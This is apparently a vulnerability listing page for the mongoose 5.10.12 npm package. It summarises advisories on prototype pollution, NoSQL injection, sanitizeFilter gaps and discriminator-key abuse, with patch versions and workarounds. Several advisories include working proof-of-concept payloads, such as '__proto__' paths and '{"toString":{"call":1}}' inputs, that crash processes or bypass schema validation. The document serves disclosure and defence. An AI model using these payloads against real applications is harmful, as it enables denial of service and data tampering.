NodeJS/mongoose/5.10.12


Mongoose MongoDB ODM

https://www.npmjs.com/package/mongoose
MIT

11 Security Vulnerabilities

Mongoose: Prototype pollution in mongoose update casting via __proto__-prefixed dotted path (Schema._getSchema/path getter)

Published date: 2026-07-24T16:22:34Z
CVE: CVE-2026-73562
Links:

Impact

What kind of vulnerability is it? Who is impacted?

Prototype pollution in update casting: passing a user-controlled update to a Mongoose update, like MyModel.updateOne(filter, req.body), can cause Mongoose to set $fullPath and $parentSchemaDocArray on Object.prototype.

Example:

const mongoose = require('mongoose');
console.log('before:', Object.prototype.$fullPath);            // undefined

const User = mongoose.model('User', new mongoose.Schema({ name: String }));
const malicious = JSON.parse('{"$set": {"__proto__.x": "anything"}}');   // attacker-controlled update

const q = User.updateOne({}, {});
try { q._castUpdate(malicious); } catch (e) { /* throws AFTER the pollution side-effect */ }

console.log('after :', Object.prototype.$fullPath);            // "__proto__"
console.log('enumerable:', Object.prototype.propertyIsEnumerable('$fullPath'));  // true
console.log('fresh {}:', ({}).$fullPath);                      // "__proto__"

Patches

Has the problem been patched? What versions should users upgrade to?

9.7.2, 8.24.1. 7.8.10, 6.13.10

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

Check user-controlled updates for own __proto__ properties before passing to Mongoose

References

Are there any links users can visit to find out more?

Affected versions: < 6.13.10 (991 affected versions) Show all vulnerable versions

Mongoose: Prototype pollution via Schema.prototype.virtual()

Published date: 2026-11-10T20:46:33Z
CVE: CVE-2026-125118
Links:

Summary

Prototype pollution via Schema.prototype.virtual() — the 2022 fix for CVE-2022-2564 / CVE-2022-24304 protected Schema.path()/add() but never virtual(), so the same class of bug is still exploitable in all maintained release lines.

Details

In lib/schema.js, Schema.prototype.virtual() (defined at line 2643) builds the virtual path via:

virtuals[name] = parts.reduce(function(mem, part, i) {
mem[part] || (mem[part] = (i === parts.length - 1)
? new VirtualType(options, name)
: {});
return mem[part];
}, this.tree); // lines 2755-2759

Unlike path()/add(), virtual() never received the specialProperties check added for CVE-2022-2564/CVE-2022-24304 (lib/schema.js lines 806, 1308, 1331).

A path containing __proto__/constructor/prototype segments resolves through the prototype chain and writes onto Object.prototype / Function.prototype.

Proof of concept

const mongoose = require('mongoose');
const schema = new mongoose.Schema({});

schema.virtual('__proto__.polluted');
console.log(({}).polluted); // VirtualType instance
console.log(Object.prototype.hasOwnProperty('polluted')); // true
console.log(Object.getOwnPropertyDescriptor(
Object.prototype, 'polluted').enumerable); // true

schema.virtual('constructor.prototype.opol');
console.log(({}).opol); // true

schema.virtual('hasOwnProperty.__proto__.fpol');
console.log((function(){}).fpol); // Function.prototype polluted

Impact

Attacker-influenced schema field names (dynamic schemas, CMS form builders, schema-as-code) allow pollution of Object.prototype (own, enumerable keys visible on every object — e.g. ({}).isAdmin checks can be spoofed) and Function.prototype (a known gadget primitive in server-side JS).

Affected versions: < 6.13.12 (1,022 affected versions) Show all vulnerable versions

Mongoose walks into inherited properties when hydrating, setting, and merging, allowing overwrites of built-in functions (denial of service) and shared schema state

Published date: 2026-11-10T20:56:16Z
CVE: CVE-2026-125117
Links:

Summary

Three Mongoose code paths copy data into objects by property name without checking whether the property is the object's own or inherited from its prototype:

  1. Loading a document from the database (init(), also used by Model.hydrate())
  2. Setting a dotted path on a document ($__set, used by new Model(obj), doc.set() and doc.$set())
  3. Merging update documents (utils.mergeClone, used by findOneAndReplace(), chained update calls and Query.prototype.merge())

When a key names an inherited property, such as toString or valueOf, or a document internal such as $__schema, Mongoose writes into the shared object behind that property. The data comes from the attacker.

  • Denial of service. For example, { "toString": { "call": 1 } } overwrites Object.prototype.toString.call. Mongoose and most other libraries rely on Object.prototype.toString.call(). After the overwrite, every later query in the process throws TypeError: _toString.call is not a function until the process restarts. This includes queries on unrelated models.
  • Changing shared schema state. Through a subdocument with strict: false, a path such as profile.$__schema.paths.email.validators reaches the subdocument's schema, which every document shares. Setting it to [] removes the required validator for every document in the process.

Mongoose already blocked __proto__, constructor and prototype, so these bugs cannot add properties to Object.prototype itself. They can still overwrite methods and properties of shared built-in functions and of Mongoose's internal objects.

Details

1. Loading documents: init()

if (!schemaType && utils.isPOJO(value)) {
  // assume nested object
  if (!doc[i]) { doc[i] = {}; ... }
  init(self, value, doc[i], opts, path + '.');
}

For a stored field named toString, doc[i] is the inherited Object.prototype.toString. It is truthy, so init() recurses into that function and copies the stored subfields onto it.

This runs for every document Mongoose loads: find(), findOne(), cursors, populated documents and Model.hydrate(). It runs whatever the strict setting, and it applies to top-level and nested paths alike. lean() queries are not affected.

A malicious document can get into the collection in several ways: - through a model with strict: false, for example new Model(req.body).save(); - through another application or the raw MongoDB driver; - through any update that writes arbitrary keys.

2. Setting dotted paths: $__set

When it walks a dotted path, $__set read obj[parts[i]] and descended into whatever it found. That included inherited functions, such as Object.prototype.toString on a plain object or Document.prototype.toObject on a subdocument. On subdocuments it also included non-function internals that are prototype getters, such as $__schema, schema, $__middleware and $__schemaTypeOptions. Those point at objects that every document of the model shares.

Attacker-controlled input reaches this path through: - A Mixed path on a default, strict schema: new Model({ "mixed.toString.call": 1 }), or doc.set({ "mixed.toString.call": 1 }). Nothing needs to be saved. - Any root path on a schema with strict: false: for example doc.set('toString.call', 1). - A subdocument with strict: false, when the application passes a user-controlled path to doc.set(path, value): for example doc.set('profile.$__schema.paths.email.validators', []).

3. Merging updates: utils.mergeClone

if (typeof to[key] === 'undefined') {
  to[key] = clone(fromObj[key]);
} else if (isObject(val)) {
  mergeClone(to[key], val);   // to[key] may be an inherited built-in
}

to[key] was read without an own-property check, so a key such as toString recursed into Object.prototype.toString. This affects:

  • Model.findOneAndReplace(filter, replacement). It always merges the replacement into the query's update, so a single call with an untrusted replacement is enough.
  • Update calls chained onto a query that already has an update. For example Model.updateOne(filter, { $set: {...} }).updateOne({}, untrustedUpdate), the same pattern with findOneAndUpdate(), or middleware that calls this.updateOne(...).
  • Query.prototype.merge() with a source query whose update came from untrusted input.

Proof of concept

const mongoose = require('mongoose');
const { Schema } = mongoose;

// 2. Setting dotted paths: a Mixed path on a default strict schema, nothing saved
const Item = mongoose.model('Item', new Schema({ name: String, meta: {} }));
new Item(JSON.parse('{"meta.toString.call": 1}'));  // e.g. new Item(req.body)
console.log(typeof Object.prototype.toString.call); // 'number'
// From here on, every query in the process fails:
// TypeError: _toString.call is not a function
// 1. Loading documents: a stored field named after an Object.prototype method
const Loose = mongoose.model('Loose', new Schema({ name: String }, { strict: false }));
await new Loose(JSON.parse('{"name":"evil","toString":{"call":1}}')).save();
await Loose.findOne({ name: 'evil' });              // any later read of this document
await OtherModel.findOne();                         // TypeError: _toString.call is not a function
// 3. Merging updates: a single findOneAndReplace() call with an untrusted replacement
const Doc = mongoose.model('Doc', new Schema({ name: String }));
Doc.findOneAndReplace({}, JSON.parse('{"toString":{"call":1}}'));
console.log(typeof Object.prototype.toString.call); // 'number'
// 2. Setting dotted paths: changing the shared subdocument schema
const User = mongoose.model('User', new Schema({
  profile: new Schema({ email: { type: String, required: true } }, { strict: false })
}));
// e.g. JSON-patch style endpoint: doc.set(req.body.path, req.body.value)
new User({ profile: { email: 'a@b.c' } }).set('profile.$__schema.paths.email.validators', []);
await new User({ profile: {} }).validate();         // resolves: `required` removed for every document

Impact

  • Denial of service (paths 1, 2 and 3). One request overwrites Object.prototype.toString.call. After that, every query in the process fails, and so does much other code, until the process restarts. Ways in:
    • new Model(req.body) on any schema with a Mixed path;
    • findOneAndReplace() with an untrusted replacement;
    • reading one stored document that contains a field such as { "toString": { "call": 1 } }.

In the stored-document case, the attacker does not need any write path through Mongoose at the moment of the attack. Any later read of that document triggers the overwrite. If the document is read on startup or by a scheduled job, the application can be kept down. - Changes to shared state (path 2, strict: false subdocuments). An attacker who controls the path passed to doc.set(path, value) can change a subdocument schema that every document shares. For example, they can remove validators or change schema options for every later document in the process. - Properties on built-in functions. More generally, an attacker can attach properties they choose to built-in functions such as Object.prototype.toString, Object.prototype.valueOf and Function.prototype.call. Any other code that reads properties of those functions sees the attacker's values.

Affected versions: < 6.13.12 (1,022 affected versions) Show all vulnerable versions

automattic/mongoose vulnerable to Prototype pollution via Schema.path

Published date: 2022-07-29T00:00:18Z
CVE: CVE-2022-2564
Links:

Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment. Affected versions of this package are vulnerable to Prototype Pollution. The Schema.path() function is vulnerable to prototype pollution when setting the schema object. This vulnerability allows modification of the Object prototype and could be manipulated into a Denial of Service (DoS) attack.

Affected versions: >= 6.0.0, < 6.4.6 (730 affected versions) Show all vulnerable versions

Mongoose Vulnerable to Prototype Pollution in Schema Object

Published date: 2022-08-27T00:00:54Z
CVE: CVE-2022-24304
Links:

Description

Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.

Affected versions of this package are vulnerable to Prototype Pollution. The Schema.path() function is vulnerable to prototype pollution when setting the schema object. This vulnerability allows modification of the Object prototype and could be manipulated into a Denial of Service (DoS) attack.

Proof of Concept

// poc.js
const mongoose = require('mongoose');
const schema = new mongoose.Schema();

malicious_payload = '__proto__.toString'

schema.path(malicious_payload, [String])

x = {}
console.log(x.toString()) // crashed (Denial of service (DoS) attack)

Impact

This vulnerability can be manipulated to exploit other types of attacks, such as Denial of service (DoS), Remote Code Execution, or Property Injection.

Affected versions: >= 6.0.0, < 6.4.6 (730 affected versions) Show all vulnerable versions

Mongoose: sanitizeFilter not applied on countDocuments

Published date: 2026-11-10T19:37:32Z
CVE: CVE-2026-125120
Links:

Impact

sanitizeFilter is Mongoose's mechanism for protecting against query selector injection attacks. In older versions of Mongoose, sanitizeFilter was not applied for countDocuments() queries.

Patches

Patches have been released for all supported Mongoose major release lines. Please upgrade to the following versions depending on which major version of Mongoose applications are using.

  1. ^9.9.2
  2. ^8.24.3
  3. ^7.8.12
  4. ^6.13.11

Workarounds

Middleware:

mongoose.plugin(function() {
  schema.pre('countDocuments', function() {
    // This will always apply `sanitizeFilter` on `countDocuments`
    mongoose.sanitizeFilter(this.getFilter());
  });
});

Affected versions: < 6.13.11 (1,003 affected versions) Show all vulnerable versions

Mongoose search injection vulnerability

Published date: 2025-01-15T06:30:49Z
CVE: CVE-2025-23061
Links:

Mongoose versions prior to 8.9.5, 7.8.4, and 6.13.6 are vulnerable to improper use of the $where operator. This vulnerability arises from the ability of the $where clause to execute arbitrary JavaScript code in MongoDB queries, potentially leading to code injection attacks and unauthorized access or manipulation of database data.

NOTE: this issue exists because of an incomplete fix for CVE-2024-53900.

Affected versions: >= 8.0.0-rc0, < 8.9.5 (904 affected versions) Show all vulnerable versions

Mongoose's Improper Sanitization of $nor in sanitizeFilter May Allow NoSQL Injection

Published date: 2026-05-05T21:48:06Z
CVE: CVE-2026-42334
Links:

Impact

This vulnerability allows bypassing Mongoose’s sanitizeFilter query sanitization mechanism via the $nor operator.

When sanitizeFilter is enabled, Mongoose wraps query operators in $eq to neutralize them. However, prior to the fix, $nor was not included in the set of logical operators that are recursively sanitized. Because $nor accepts an array (like $and and $or), and arrays do not trigger hasDollarKeys(), malicious operators such as $ne, $gt, or $regex could be injected inside a $nor clause without being sanitized.

This may lead to:

  • Authentication bypass
  • Unauthorized data access
  • Data exfiltration

Affected users:

Applications that:

  • Explicitly enable sanitizeFilter
  • Pass unsanitized user-controlled input directly into query methods (e.g., Model.findOne(req.body)) and rely on sanitizeFilter to strip out query selectors

Applications that validate input schemas, whitelist fields, or avoid passing raw request bodies into queries are not affected. For example, Model.findOne({ user: req.body.user, pwd: req.body.pwd }) is not affected.

Patches

Patches have been released for all supported Mongoose release lines:

  • ^6.13.9
  • ^7.8.9
  • ^8.22.1
  • ^9.1.6

Workarounds

Delete $nor keys, use an additional schema validation library, or write middleware to strip out $nor from query filters.

Resources

sanitizeFilter documentation: https://mongoosejs.com/docs/api/mongoose.html#Mongoose.prototype.sanitizeFilter()

Original blog post on sanitizeFilter: https://thecodebarbarian.com/whats-new-in-mongoose-6-sanitizefilter.html

Affected versions: < 6.13.9 (966 affected versions) Show all vulnerable versions

Mongoose: Discriminator key values matching inherited properties (e.g. __t: 'constructor') bypass schema casting and can poison collections

Published date: 2026-11-10T20:57:18Z
CVE: CVE-2026-125116
Links:

Summary

Mongoose chooses which discriminator model or schema to use by looking up the discriminator key value (__t by default) in a plain object of registered discriminators, for example Model.discriminators[doc.__t]. That value comes from user documents and query filters. Because the lookup did not check own properties, a value that names a property inherited from Object.prototype resolves to that inherited value instead of a discriminator. Examples are 'constructor', 'toString' and 'hasOwnProperty'.

  • __t: 'constructor' resolves to the global Object function. Mongoose then calls new Object(doc), which returns the raw user object where a Mongoose document is expected.
  • __t: 'toString' and similar names resolve to built-in functions that throw when used as a constructor or schema.

The most serious effect: through bulkWrite() insertOne with skipValidation: true, the raw user object is stored as-is, without schema casting or strict filtering. After that, every query that returns the stored document throws, until the document is removed from the database.

Details

The registries that hold discriminators are plain objects: Model.discriminators, schema.discriminators, and the embedded discriminator registries on document arrays and single nested subdocuments. Several code paths indexed them directly with a value taken from the document or filter:

Code path Input
Model constructor (new Model(doc)) document
Model.create(), insertMany(), bulkWrite(), bulkSave() documents
Hydrating query results (find(), findOne(), etc.) and Model.hydrate() stored documents
Casting query filters, including flat paths such as 'events.__t' and $elemMatch query filter
Casting updates and array filters update filter, arrayFilters
Document array push() / create(), document array and single nested casting subdocuments
Populate on embedded discriminators stored subdocuments

getDiscriminatorByValue() already iterated the registry's own keys safely. But most callers tried the direct lookup first and only fell back to it afterwards, so a truthy inherited value took precedence.

The lookups only read inherited properties. They do not write to Object.prototype or any other shared object, and they do not change in-memory state that affects other requests. This is NOT a prototype pollution vector.

Proof of concept

const mongoose = require('mongoose');

const Base = mongoose.model('Base', new mongoose.Schema({ name: String, age: Number }));
Base.discriminator('Child', new mongoose.Schema({ extra: String }));

// Type confusion: the "document" is the raw input object
const doc = new Base({ name: 'x', __t: 'constructor' });
console.log(doc instanceof mongoose.Document); // false
// Schema bypass and persistent poison document via bulkWrite + skipValidation
await Base.bulkWrite([{
  insertOne: { document: { name: 'x', age: 'not a number', notInSchema: true, __t: 'constructor' } }
}], { skipValidation: true });
// Stored verbatim: { age: 'not a number', notInSchema: true, __t: 'constructor', ... }

await Base.find(); // throws: Cannot read properties of undefined (reading 'eachPath')

Impact

  • Crashing the request. An attacker who controls the discriminator key of a document or filter can make the request fail. In most code paths that sent the value, this means a TypeError or a non-document object returned to application code. Ways in include Model.create(req.body), new Model(req.body), Model.find(req.query)-style filters, and pushing user input onto embedded discriminator arrays. The effect is limited to the request carrying the value.
  • Schema bypass on bulkWrite({ skipValidation: true }). When an application passes untrusted documents to bulkWrite() insertOne with skipValidation: true, the raw object is stored without casting or strict filtering. Fields the schema would normally strip are persisted, such as an isAdmin that isn't in the schema. Fields with wrong types are also persisted.
  • Persistent denial of service for queries. A stored document with such a discriminator key value makes hydration throw. Every query that returns that document fails, for all users, until the document is deleted directly in the database. Besides the bulkWrite() path above, the document can get into the collection through another application, the raw MongoDB driver, or any other writer that does not go through Mongoose casting.

This issue doesn't let an attacker modify Object.prototype, built-in functions, schemas or other shared in-memory state. The schema bypass requires the application to opt in to skipValidation with untrusted input.

Affected versions: < 6.13.12 (1,022 affected versions) Show all vulnerable versions
Secure versions: [6.13.12, 6.13.13, 7.8.13, 7.8.14, 8.24.10, 8.24.11, 8.24.7, 8.24.8, 8.24.9, 9.0.0-rc0, 9.0.0-rc1, 9.11.4, 9.12.0, 9.12.1, 9.12.2, 9.12.3, 9.13.0, 9.13.1]
Recommendation: Update to version 9.13.1.

1042 Other Versions

Version License Security Released
6.0.4 MIT 12 2021-09-01 - 21:11 about 5 years
6.0.3 MIT 12 2021-08-30 - 21:31 about 5 years
6.0.2 MIT 12 2021-08-26 - 23:34 over 5 years
6.0.1 MIT 12 2021-08-25 - 22:54 over 5 years
6.0.0 MIT 12 2021-08-24 - 22:12 over 5 years
6.0.0-rc2 MIT 8 2021-08-23 - 19:46 over 5 years
6.0.0-rc1 MIT 8 2021-08-12 - 20:43 over 5 years
6.0.0-rc0 MIT 8 2021-08-03 - 20:08 over 5 years
5.13.23 MIT 7 2024-12-17 - 21:29 almost 2 years
5.13.22 MIT 8 2024-01-02 - 21:14 almost 3 years
5.13.21 MIT 8 2023-10-19 - 19:47 about 3 years
5.13.20 MIT 8 2023-07-12 - 18:27 over 3 years
5.13.19 MIT 9 2023-06-22 - 13:54 over 3 years
5.13.18 MIT 9 2023-06-22 - 13:52 over 3 years
5.13.17 MIT 9 2023-04-04 - 19:25 over 3 years
5.13.16 MIT 9 2023-02-20 - 17:17 almost 4 years
5.13.15 MIT 9 2022-08-22 - 17:28 over 4 years
5.13.14 MIT 11 2021-12-27 - 17:58 almost 5 years
5.13.13 MIT 11 2021-11-02 - 19:11 about 5 years
5.13.12 MIT 11 2021-10-19 - 17:55 about 5 years
5.13.11 MIT 11 2021-10-12 - 21:11 about 5 years
5.13.10 MIT 11 2021-10-05 - 18:34 about 5 years
5.13.9 MIT 11 2021-09-06 - 16:52 about 5 years
5.13.8 MIT 11 2021-08-23 - 15:49 over 5 years
5.13.7 MIT 11 2021-08-11 - 19:17 over 5 years
5.13.6 MIT 11 2021-08-09 - 19:29 over 5 years
5.13.5 MIT 11 2021-07-30 - 15:50 over 5 years
5.13.4 MIT 11 2021-07-28 - 21:12 over 5 years
5.13.3 MIT 11 2021-07-16 - 17:54 over 5 years
5.13.2 MIT 11 2021-07-03 - 21:53 over 5 years
5.13.1 MIT 11 2021-07-02 - 17:55 over 5 years
5.13.0 MIT 11 2021-06-28 - 15:00 over 5 years
5.12.15 MIT 11 2021-06-25 - 18:57 over 5 years
5.12.14 MIT 11 2021-06-15 - 18:22 over 5 years
5.12.13 MIT 11 2021-06-04 - 18:58 over 5 years
5.12.12 MIT 11 2021-05-28 - 14:36 over 5 years
5.12.11 MIT 11 2021-05-24 - 17:01 over 5 years
5.12.10 MIT 11 2021-05-18 - 17:16 over 5 years
5.12.9 MIT 11 2021-05-13 - 18:21 over 5 years
5.12.8 MIT 11 2021-05-10 - 18:12 over 5 years
5.12.7 MIT 11 2021-04-29 - 16:51 over 5 years
5.12.6 MIT 11 2021-04-27 - 21:17 over 5 years
5.12.5 MIT 11 2021-04-19 - 15:12 over 5 years
5.12.4 MIT 11 2021-04-15 - 17:56 over 5 years
5.12.3 MIT 11 2021-03-31 - 18:26 over 5 years
5.12.2 MIT 11 2021-03-22 - 20:58 over 5 years
5.12.1 MIT 11 2021-03-18 - 18:22 over 5 years
5.12.0 MIT 11 2021-03-11 - 19:12 over 5 years
5.11.20 MIT 11 2021-03-11 - 14:41 over 5 years
5.11.19 MIT 11 2021-03-05 - 17:49 over 5 years